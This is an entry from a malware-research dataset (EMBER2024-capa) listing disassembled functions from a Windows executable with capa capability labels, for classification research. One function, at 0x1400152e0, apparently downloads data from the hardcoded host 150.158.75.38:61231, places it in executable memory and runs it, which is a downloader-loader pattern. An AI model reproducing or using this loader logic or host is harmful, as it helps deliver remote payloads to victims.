joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c2bd0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400c2be6
mov al, 1
jmp 0x1400c2c46
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400c2bf7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400c2c44
mov ecx, dword [rcx + 0x18]
nop
call fcn.1400c35e4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400c2c44
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400c2c44
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400c2c44
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400c2c46
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x1400c36f4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400bb2b0
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400bb2b0
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400c3844
cmp rax, 0xffffffffffffffff
je 0x1400c3844
xor edi, edi
test rbp, rbp
jle 0x1400c37ef
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400bf6b0
mov rbx, rax
test rax, rax
jne 0x1400c377c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400c37e5
mov edx, 0x8000
mov ecx, r14d
call fcn.1400bc970
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400be0f0
cmp eax, 0xffffffff
je 0x1400c37c5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400c378c
mov edx, r15d
mov ecx, r14d
call fcn.1400bc970
jmp 0x1400c37e5
cmp byte [rsi + 0x38], dil
je 0x1400c37dc
cmp dword [rsi + 0x34], 5
jne 0x1400c37dc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x1400c37e5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400bf728
jmp 0x1400c3858
jns 0x1400c3858
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400bb2b0
cmp rax, 0xffffffffffffffff
jne 0x1400c3810
cmp byte [rsi + 0x30], dil
je 0x1400c3858
mov edi, dword [rsi + 0x2c]
jmp 0x1400c3858
mov ecx, r14d
call fcn.1400c35e4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400c3858
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1400c3858
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400c3851
mov eax, dword [rsi + 0x2c]
jmp 0x1400c3856
mov eax, reloc.WLDAP32.dll_Ordinal_22
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400bb2b0
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400c70d4
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400c7104
xor eax, eax
jmp 0x1400c71c7
mov rbp, rbx
cmp word [rax], si
je 0x1400c7129
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400c7110
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400c710c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400c4090
movsxd r14, eax
test eax, eax
jne 0x1400c7167
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400c70fd
mov rcx, r14
call fcn.1400c030c
mov rdi, rax
test rax, rax
jne 0x1400c7180
xor ecx, ecx
call fcn.1400bf728
jmp 0x1400c715c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400c4090
test eax, eax
jne 0x1400c71b1
mov rcx, rdi
call fcn.1400bf728
jmp 0x1400c71bb
xor ecx, ecx
call fcn.1400bf728
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400c71e4
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400c726b
mov rsi, rbx
cmp word [rax], bp
je 0x1400c722a
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400c7214
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400c7210
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400c030c
mov rdi, rax
test rax, rax
je 0x1400c7258
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400ce930
mov rbp, rdi
xor ecx, ecx
call fcn.1400bf728
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400c896c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400c898c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400b045c
or eax, 0xffffffff
jmp 0x1400c898e
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400cb2d8
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140105700]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400cb322
call fcn.1400b04c8
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.1400b04e8
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.1400ad650
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400a4f00
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400cb32d
lea eax, [rbx + 1]
jmp 0x1400cb30f
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400cb30d
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400cb30f
Function at 0x1400cc774
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400b0508
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400cc7fe
cmp byte [rbp - 0x21], r15b
je 0x1400cc7f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400cc834
call fcn.1400bf9d0
test eax, eax
jne 0x1400cc820
cmp byte [rbp - 0x21], r15b
je 0x1400cc818
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400cc834
cmp byte [rbp - 0x21], r15b
je 0x1400cc831
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400b8d58
test eax, eax
jne 0x1400cc8d4
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400b0508
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400cc873
cmp byte [rbp - 0x21], r15b
je 0x1400cc8a8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400cc8a8
call fcn.1400bf9d0
test eax, eax
jne 0x1400cc894
cmp byte [rbp - 0x21], r15b
je 0x1400cc88d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400cc8a8
cmp byte [rbp - 0x21], r15b
je 0x1400cc8a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400b8d58
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400cc8d4
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400cc8d7
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400cc8e5
mov rcx, rdi
call fcn.1400bf728
cmp byte [rbp + 0x3f], r15b
je 0x1400cc8f4
mov rcx, qword [rbp + 0x27]
call fcn.1400bf728
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400112bc
Capabilities:
Terminate process

Disassembly:
jmp 0x140014410
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011375
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015760
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015780
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015793
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400157bd
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400157d1
xor al, al
jmp 0x140015801
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400157e3
xor al, al
jmp 0x140015801
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400157ff
xor al, al
jmp 0x140015801
mov al, 1
add rsp, 0x38
ret
Function at 0x1400152e0
Capabilities:
Create http request

Disassembly:
mov eax, 0xdbc58
call fcn.140016880
sub rsp, rax
call fcn.140001290
movzx eax, al
test eax, eax
je 0x14001557b
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.User_Agent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140015340
lea rcx, str.Failed_to_open_internet_connection._n
call fcn.1400164c0
mov eax, 1
jmp 0x14001557d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__150.158.75.38:61231_error.log
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400153a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x3c], eax
mov edx, dword [rsp + 0x3c]
lea rcx, str.Failed_to_open_URL._Error_code:__d_n
call fcn.1400164c0
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x14001557d
lea rax, [rsp + 0x30]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0xdbba0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x80]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x34]
call fcn.140015740
test eax, eax
jne 0x1400153f2
mov eax, 1
jmp 0x14001557d
call fcn.1400257e8
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
imul eax, eax, 6
cdqe
mov rcx, rax
call fcn.1400010d0
mov eax, dword [rsp + 0x30]
mov ecx, eax
call fcn.140016854
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x60], rax
lea r9, [rsp + 0x30]
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x35]
call fcn.140015660
call fcn.1400257e8
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
imul eax, eax, 6
cdqe
mov rcx, rax
call fcn.1400010d0
call fcn.1400257e8
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
imul eax, eax, 6
cdqe
mov rcx, rax
call fcn.1400010d0
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x44], 0x1000
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x44]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x36]
call fcn.140015590
mov qword [rsp + 0x70], rax
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x37]
call fcn.1400156d0
mov dword [rsp + 0x48], 0x15
mov dword [rsp + 0x4c], 0xffffffff
mov dword [rsp + 0x50], 0x400
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4c]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x38]
call fcn.140015820
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0xa0]
call fcn.14001685c
call fcn.1400257e8
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
imul eax, eax, 0x3e8
imul eax, eax, 6
cdqe
mov rcx, rax
call fcn.1400010d0
xor eax, eax
add rsp, 0xdbc58
ret
Function at 0x1400161a0
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x18
xor eax, eax
test eax, eax
je 0x1400161bf
movsx eax, byte [rsp + 0x28]
or eax, 0x20
mov dword [rsp], eax
jmp 0x1400161c7
movsx eax, byte [rsp + 0x28]
mov dword [rsp], eax
mov eax, dword [rsp]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
imul eax, eax, 0x1000193
add rsp, 0x18
ret

Function at 0x1400405c0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140040348
Function at 0x1400140aa
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [0x1400e01d8]
movabs rcx, 0xff857239b66c43e1
movabs r10, 0x5f60bf84225f079a
add r10, qword [rax + rcx]
mov rcx, rsi
mov r8d, 0xffffffff
mov r9d, 0x6c078965
call r10
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x14004de74
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14005c0dc
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14005c10e
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x14005c0f1
mov rax, r8
ret

Function at 0x14006d010
Capabilities:
Encode data using xor

Disassembly:
xor r10d, r10d
movsxd rax, edx
mov r9, rcx
lea rdx, [rcx + rax*4]
mov r11, rdx
sub r11, rcx
add r11, 3
shr r11, 2
cmp rcx, rdx
cmova r11, r10
test r11, r11
je 0x14006d085
nop word [rax + rax]
mov edx, dword [r9]
inc r10
lea r8, [r8 + 2]
mov ecx, edx
mov eax, edx
lea r9, [r9 + 4]
shr ecx, 0x10
shr eax, 0xd
xor cl, al
mov eax, edx
and cl, 7
shr eax, 0x10
xor cl, al
mov eax, edx
mov byte [r8 - 2], cl
mov ecx, edx
shr eax, 3
shr ecx, 5
shr edx, 5
xor cl, al
and cl, 0x1f
xor cl, dl
mov byte [r8 - 1], cl
cmp r10, r11
jb 0x14006d040
ret

Function at 0x1400702a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x1400e8fd8]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov ebp, 4
mov r15, rdx
xor r14d, r14d
lea rax, [rcx + 1]
lea rdi, [rsp]
lea rbx, [rsp + 8]
mov esi, ebp
movzx ecx, byte [rax + 2]
movzx r8d, byte [rax + 1]
movzx r10d, byte [rax - 1]
movzx edx, byte [rax]
lea r11d, [r10 + r8]
sub r10d, r8d
lea r9d, [rcx + rdx]
sub edx, ecx
lea rbx, [rbx + 0x10]
lea ecx, [r9 + r11]
sub r11d, r9d
lea rdi, [rdi + 0x10]
mov dword [rdi - 0x10], ecx
lea ecx, [r10 + rdx]
sub r10d, edx
mov dword [rbx - 0xc], r11d
mov dword [rbx - 0x14], ecx
mov dword [rbx - 0x10], r10d
lea rax, [rax + 0x20]
dec rsi
jne 0x1400702e1
lea rdi, [r15 + 8]
lea rsi, [rsp + 0x30]
nop word [rax + rax]
mov ecx, dword [rsi - 0x10]
mov eax, dword [rsi]
mov ebx, dword [rsi - 0x30]
mov r11d, dword [rsi - 0x20]
lea r9d, [rbx + rcx]
sub ebx, ecx
movzx ecx, word [rdi + 0x10]
lea r8d, [r11 + rax]
sub r11d, eax
mov eax, ebx
lea rsi, [rsi + 4]
lea rdi, [rdi + 2]
sub eax, r11d
cdq
mov r10d, eax
movzx eax, word [rdi + 6]
xor r10d, edx
sub r10d, edx
imul r10d, eax
mov eax, r9d
sub eax, r8d
cdq
xor eax, edx
sub eax, edx
imul eax, ecx
movzx ecx, word [rdi - 0xa]
add r10d, eax
lea eax, [r8 + r9]
cdq
xor eax, edx
sub eax, edx
imul eax, ecx
movzx ecx, word [rdi - 2]
add r10d, eax
lea eax, [rbx + r11]
cdq
xor eax, edx
sub eax, edx
imul eax, ecx
add r14d, eax
add r14d, r10d
dec rbp
jne 0x140070340
mov eax, r14d
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14003cdb0
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
Function at 0x140074ed0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push r15
sub rsp, 0x48
mov rax, qword [0x1400e8fd8]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov ebx, dword [rcx + 0x34]
movsxd rbp, dword [rcx + 0x30]
mov rsi, rcx
mov eax, ebx
mov edx, 1
imul eax, ebp
movsxd rcx, eax
call fcn.14003c7d0
mov r15, rax
mov qword [rsp + 0x20], rax
test rax, rax
je 0x1400750cd
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x88], r13
lea r13d, [rbx - 1]
mov qword [rsp + 0x40], r14
cmp r13d, 1
jle 0x1400750b3
lea ecx, [rbp - 1]
mov qword [rsp + 0x80], r12
lea r11, [rax + rbp]
lea r15d, [rbp + 1]
lea r12d, [r13 - 1]
movsxd rbx, ecx
mov r8d, 1
cmp r8, rbx
jge 0x14007503a
lea rdi, [rbp*8]
mov r10d, r15d
nop word [rax + rax]
mov rax, qword [rsi + 0x5c60]
movsxd rcx, r10d
xorps xmm0, xmm0
lea rdx, [rax + rcx*8]
mov rcx, rdx
mov r9d, dword [rdx]
movdqu xmmword [rsp + 0x28], xmm0
sub rcx, rdi
mov eax, dword [rcx - 8]
shr r9d, 5
shr rax, 5
and r9d, 3
and eax, 3
inc dword [rsp + rax*4 + 0x28]
mov eax, dword [rcx]
shr rax, 5
and eax, 3
inc dword [rsp + rax*4 + 0x28]
mov eax, dword [rcx + 8]
xor ecx, ecx
shr rax, 5
and eax, 3
inc dword [rsp + rax*4 + 0x28]
mov eax, dword [rdx - 8]
shr rax, 5
and eax, 3
inc dword [rsp + rax*4 + 0x28]
mov eax, dword [rdx + 8]
shr rax, 5
and eax, 3
inc dword [rsp + rax*4 + 0x28]
mov eax, dword [rdi + rdx - 8]
shr rax, 5
and eax, 3
inc dword [rsp + rax*4 + 0x28]
mov eax, dword [rdi + rdx]
shr rax, 5
and eax, 3
inc dword [rsp + rax*4 + 0x28]
mov eax, dword [rdi + rdx + 8]
shr rax, 5
and eax, 3
inc dword [rsp + rax*4 + 0x28]
xor eax, eax
nop dword [rax]
cmp dword [rsp + rax*4 + 0x28], 5
jge 0x140075024
inc rax
inc ecx
cmp rax, 4
jl 0x140075010
jmp 0x140075027
mov r9d, ecx
mov byte [r8 + r11], r9b
inc r8
inc r10d
cmp r8, rbx
jl 0x140074f70
add r15d, ebp
add r11, rbp
dec r12
jne 0x140074f50
mov r15, qword [rsp + 0x20]
mov r12, qword [rsp + 0x80]
cmp r13d, 1
jle 0x1400750b3
lea eax, [rbp - 1]
lea r10, [r15 + rbp]
lea ebx, [rbp + 1]
movsxd r11, eax
lea edi, [r13 - 1]
nop dword [rax]
mov r8d, 1
cmp r8, r11
jge 0x1400750a9
mov r9d, ebx
nop
mov rax, qword [rsi + 0x5c60]
movsxd rcx, r9d
inc r8
lea rdx, [rax + rcx*8]
movzx eax, byte [r8 + r10 - 1]
inc r9d
shl eax, 5
xor eax, dword [rdx]
and eax, 0x60
xor dword [rdx], eax
cmp r8, r11
jl 0x140075080
add ebx, ebp
add r10, rbp
dec rdi
jne 0x140075070
mov rcx, r15
call fcn.14003c7c0
mov r14, qword [rsp + 0x40]
mov r13, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14003cdb0
add rsp, 0x48
pop r15
pop rsi
pop rbp
pop rbx
ret
Function at 0x140079900
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1400e8fd8]
xor rax, rsp
mov qword [rsp + 0x38], rax
movzx eax, dx
shr edx, 0x10
mov r9, rcx
mov byte [rsp + 0x24], al
sar eax, 8
mov byte [rsp + 0x26], dl
mov byte [rsp + 0x25], al
movzx eax, r8w
shr r8d, 0x10
mov byte [rsp + 0x32], r8b
sar r8d, 8
sar edx, 8
mov byte [rsp + 0x33], r8b
mov r8, rcx
mov byte [rsp + 0x30], al
mov byte [rsp + 0x27], dl
sar eax, 8
lea rcx, [rsp + 0x20]
mov edx, 0x15
mov dword [rsp + 0x20], 0x46464952
mov dword [rsp + 0x28], 0x50424557
mov dword [rsp + 0x2c], 0x4c385056
mov byte [rsp + 0x34], 0x2f
mov byte [rsp + 0x31], al
call qword [r9 + 0x60]
xor ecx, ecx
mov edx, 8
test eax, eax
cmove ecx, edx
mov eax, ecx
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14003cdb0
add rsp, 0x48
ret

Function at 0x14007a260
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r15
sub rsp, 0x460
mov rax, qword [0x1400e8fd8]
xor rax, rsp
mov qword [rsp + 0x450], rax
cmp dword [rcx + 8], 0x20
mov ebp, dword [r8 + 0x60]
mov rdi, r8
mov r12d, edx
mov rbx, rcx
lea r15, [r8 + 0x64]
jl 0x14007a2a1
call fcn.14008e5d0
mov ecx, dword [rbx + 8]
mov eax, 1
shl rax, cl
or qword [rbx], rax
lea eax, [rcx + 1]
mov dword [rbx + 8], eax
cmp eax, 0x20
jl 0x14007a2c2
mov rcx, rbx
call fcn.14008e5d0
mov ecx, dword [rbx + 8]
mov eax, 3
lea esi, [rbp - 1]
shl rax, cl
or qword [rbx], rax
lea eax, [rcx + 2]
mov dword [rbx + 8], eax
cmp eax, 0x20
jl 0x14007a2e6
mov rcx, rbx
call fcn.14008e5d0
mov ecx, dword [rbx + 8]
mov eax, esi
shl rax, cl
or qword [rbx], rax
lea eax, [rcx + 8]
mov dword [rbx + 8], eax
lea eax, [rbp - 1]
movsxd r11, eax
cmp r11, 1
jl 0x14007a394
lea rsi, [rsp + 0x50]
mov qword [rsp + 0x498], r14
lea r14, [r15 + r11*4]
sub rsi, r15
nop dword [rax + rax]
mov edx, dword [r14 - 4]
mov r8d, dword [r14]
lea r14, [r14 - 4]
mov r9d, r8d
mov ecx, r8d
and r8d, 0xff00ff00
and r9d, 0xff00
and ecx, 0xffff00ff
mov eax, edx
and eax, 0xff00ff00
sub r9d, eax
mov eax, edx
and edx, 0xff00ff00
sub r9d, 0xff01
and eax, 0xff00ff
sub r8d, edx
sub ecx, eax
add r8d, 0xff00ff
add ecx, 0xff00
xor r9d, ecx
and r9d, 0xff00ff
xor r9d, r8d
mov dword [rsi + r14 + 4], r9d
dec r11
jne 0x14007a320
mov r14, qword [rsp + 0x498]
mov eax, dword [r15]
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], 0x14
mov dword [rsp + 0x50], eax
lea rax, [rdi + 0x490]
mov dword [rsp + 0x30], 1
lea r9, [rdi + 0x468]
lea r8, [rdi + 0x4e0]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
call fcn.140078b10
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14003cdb0
mov rbx, qword [rsp + 0x4a8]
add rsp, 0x460
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14007aa60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007aaaa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007aaaa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007aaaa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007aaaa
cmp dword [rcx + 0x84], 0xe
jbe 0x14007aaaa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14007aaac
xor al, al
add rsp, 0x28
ret